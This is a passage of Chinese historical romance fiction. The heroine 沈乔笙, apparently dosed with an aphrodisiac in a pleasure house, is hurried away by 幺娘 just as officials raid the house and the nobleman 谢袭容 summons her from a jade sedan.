幺娘闻声破门而入,飞身一脚踢昏繁芜,拽着沈乔笙赶紧往外走。 “大意了,她怎么会藏这玩意,简直疯了。”幺娘拉疾走去往客堂,几乎把沈乔笙拽得小跑起来。 沈乔笙不明就里:“怎么了?这是什么?” “哎!合欢呀!我们这地方还能有什么药,最多的不就是春……” “啊?可我没有感觉不适呀,会不会是其它毒药。” “那不是特地调制的慢效药嘛,起效前正好喝酒点曲子,酝酿酝酿呀,不然我们怎么多赚钱?” “好吧。” 见沈乔笙没意识到问题的严重性,幺娘碰碰她的手臂:“这东西后劲大,你可没受过这等苦楚,我还是给你找个小郎君帮你阴阳调和——” “让开让开,长眼的都让开!” 黯坊门口传来动乱,一群官兵鱼贯进入,高声喧喊奉命巡查,所有人一律不许动。 沈乔笙被幺娘拉到旁边,听她气急败坏小声骂道:“我们这风月场鱼龙混杂不假,官府也不能三天两头来查呀,还让不让人做生意了。” 官兵涌入大堂,队尾走来轿夫训练有素,将一顶雕龙画凤的翡翠福寿暖轿抬进室内,十分张狂显目地立定在大堂正中央。 那轿子大得吓人,通身气派非同凡响,一瞧便知是某位显赫人物大驾光临。 它气焰磅礴地立在那,既没有动静,也不给以指示,如一座宝钟镇定乾坤,人们畏惧又好奇地投去打量目光。 待士兵们散去清查黯坊各处,幺娘拉着沈乔笙耳语:“你先忍忍,等他们走了我给你叫头牌,算我请你快活……” 这句她也没能说完,翡翠轿里忽然探出只指节修长的手。 “你。” 里头的人隔着轿帘,直指向沈乔笙,发话: “你很可疑。” 比起春.药,沈乔笙内心的震颤更为剧烈。 谢袭容的嗓音清晰有力,在她耳鼓搏动道: “自己走进来。” “或者我,捉你进来。”